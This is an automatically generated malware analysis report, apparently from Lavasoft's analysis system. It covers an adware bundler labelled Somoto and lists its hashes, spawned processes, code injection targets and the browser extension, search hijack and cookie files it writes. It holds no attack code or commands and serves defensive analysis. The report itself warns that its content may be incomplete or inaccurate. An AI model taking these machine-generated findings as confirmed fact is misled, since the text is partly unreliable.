Application.Bundler.Somoto.I_9b2a2631e0

by malwarelabrobot on February 15th, 2015 in Malware Descriptions.

Application.Bundler.Somoto.I (AdAware), SearchProtectToolbar_pcap.YR, mzpefinder_pcap_file.YR, SearchProtectToolbar.YR (Lavasoft MAS)
Behaviour: Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 9b2a2631e07de3ea563da5f894f4918c
SHA1: 4c03c307d324cfaa48c2610c8612377aa3235910
SHA256: fd65fff023f4063abb5cf3b54d679717f19535452256df10b4aefd29923b3643
SSDeep: 3072:h22ihA0m3BJf0vEda0U9B0EGZ1eyAQp8mRpOfOttOmDuErPm75:CA0m3T0vSUb94bb6fOxxu75
Size: 166672 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2010-12-17 11:14:12
Analyzed on: Windows7Ada SP1 64-bit


Summary:

Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Payload

No specific payload has been found.

Process activity

The Application creates the following process(es):

cmdshell.exe:4944
BaofengUpdate.exe:1940
BaofengUpdate.exe:2312
YTAHelper.exe:2052
%original file name%.exe:3512
ProtectWindowsManager.exe:3332
ProtectWindowsManager.exe:2040
ProtectService.exe:4876
ProtectService.exe:4896
jsdrv.exe:3288
biclient.exe:3544
biclient.exe:3924
E9F1.tmp:2744
wpm_v20.0.0.1714_0204.exe:1036
ins_yta.exe:1836
testlsp.exe:3868
powershell.exe:1368
powershell.exe:3044
powershell.exe:3968
setup.exe:1412
setup.exe:3284
HPNotify.exe:1196
STab_Down_6.0.6.8.exe:3324
WerFault.exe:3148
WerFault.exe:2952
WerFault.exe:4028
ShopperPro.exe:2088
ins_shopperpro.exe:1036
regsvr32.exe:3904
regsvr32.exe:3656
regsvr32.exe:3180
lspinst.exe:2784
lspinst.exe:1160
YTAHEL~1.EXE:3004
DCytaiesmt_smtyc_setup.exe:3388
spbiu.exe:1216
spbiu.exe:992
GLJB423.tmp:2280
YouTubeAcceleratorService.exe:1204
YouTubeAcceleratorService.exe:4060
YouTubeAcceleratorService.exe:3016
YouTubeAcceleratorService.exe:2812
GLBB3D4.tmp:2756
XTab_v4.0.exe:4592
taskeng.exe:3608
ytaiesmt_smtyc_setup.exe:2788

The Application injects its code into the following process(es):

ins_postInst.exe:2508
YouTubeAccelerator.exe:1800
biclient.exe:2940

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process cmdshell.exe:4944 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\HPNotify.exe (675 bytes)

The process BaofengUpdate.exe:1940 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\STab_Down_6.0.6.8.exe (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (43 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\422.db (260 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\RegWrite.exe (86 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\tmp\wpm_v20.0.0.1714_0204.exe (974 bytes)

The process BaofengUpdate.exe:2312 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\last_tab.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\pack\common.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\js.js (660 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\it\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\simple.css (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\remoterequest.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\properties.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\en\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\pack\ga.js (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\aes.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\restoreprefs.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\module\search.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp960654\BFVUpdateM.dll (110 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\module\stat.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\ru\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\Thumbs.db (27 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\style.css (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\143D.tmp (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\bg.png (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\13FD.tmp (113 bytes)
C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\install.rdf (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\index.html (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\defaults\preferences\preferences.js (379 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\settings.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
%Program Files% (x86)\Mozilla Firefox\browser\searchplugins\mystartsearch.xml (565 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\scrollbar.bmp (37 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\newtab.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome.manifest (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\defaults\preferences\fvd.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\es-419\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\vi\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\google_trends.png (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\quick_start.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\Thumbs.db (42 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\addonmanager.js (531 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\default_logo.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\loading.gif (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\141D.tmp (113 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\include\speed_dial.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\uninstallDlg2.xml (19 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code6.jpg (5 bytes)
C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\MessageBox.xml (3 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\icon.png (628 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\en-US\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\es\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\UninstallManager.exe (14022 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\quick_start.xul (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\144E.tmp (114 bytes)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\tr\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\pl\locale.properties (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\googlelogo.png (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\content\include\tools\misc.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\skin\logo.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\modules\misc.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\mystartsearch\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\fr\locale.properties (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1423886437_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)

The process YTAHelper.exe:2052 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\config.json (486 bytes)

The process %original file name%.exe:3512 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskADBD.tmp (6514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (79 bytes)

The process ProtectWindowsManager.exe:2040 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\WindowsMangerProtect\update\conf (5 bytes)

The process ins_postInst.exe:2508 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_23388\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_23388\ins_postInst.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_30485\ins_shopperpro.exe (19474 bytes)

The process ProtectService.exe:4896 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\IHProtectUpDate\update\conf (5 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (49 bytes)

The process YouTubeAccelerator.exe:1800 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_3868.log_tmp (815 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2537.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_now_accelerating.mht (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2548.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\config.xml (86 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\dl_update.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_off.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\itunesmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestsucceeded.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\hd_disabled.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2500.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\exiting.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\silenttestfailed.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\premium_now_accelerating.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\oem_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\blank.html (97 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2638.tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trial_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_3868_testlsp.log_tmp (23 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\update.mht (31 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2660.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2521.tmp (50 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk25F8.tmp (682 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\test.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk25D7.tmp (242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2523.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\LspCommTest.zip (193189 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_offline.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\noupdates.mht (30 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_3868_testlsp.log_tmp (989 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_3868_testlsp.log_tmp (150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk264A.tmp (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk264E.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAcceleratorService_4060.log_tmp (493 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\trialexp_video_accelerator.mht (38 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\va_on.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\olddriver.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk2535.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\tweetmessage.mht (22 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1800.log (79704 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\activation_expired.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\SMALLTEST[1].htm (70 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\restart.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk23C6.tmp (242 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Res\VARes_1000008\acceleration_not_supported.mht (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\wbk264C.tmp (1 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_4060_YouTubeAcceleratorService.log_tmp (50 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\YouTubeAccelerator_1800.log_tmp (14 bytes)

The process jsdrv.exe:3288 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\X7YMYSL1.txt (136 bytes)

The process biclient.exe:3544 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\TVM6O5D4.txt (547 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\C0A0.tmp (39568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\PD83YL0N.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\M287TBMF.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Z6RMFJON.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\eula-sourceapp[1].htm (4341 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\8AEWBWHI\ga[1].js (24380 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9S5Z42IN.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5Z5P01XD.txt (115 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe (22888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\7zip_32[1].png (145 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\3MKL3WT5\eula[1].htm (1059 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\1CWSF3T2.txt (687 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AXND9IHQ\eula-mystartsearch[1].htm (1887 bytes)
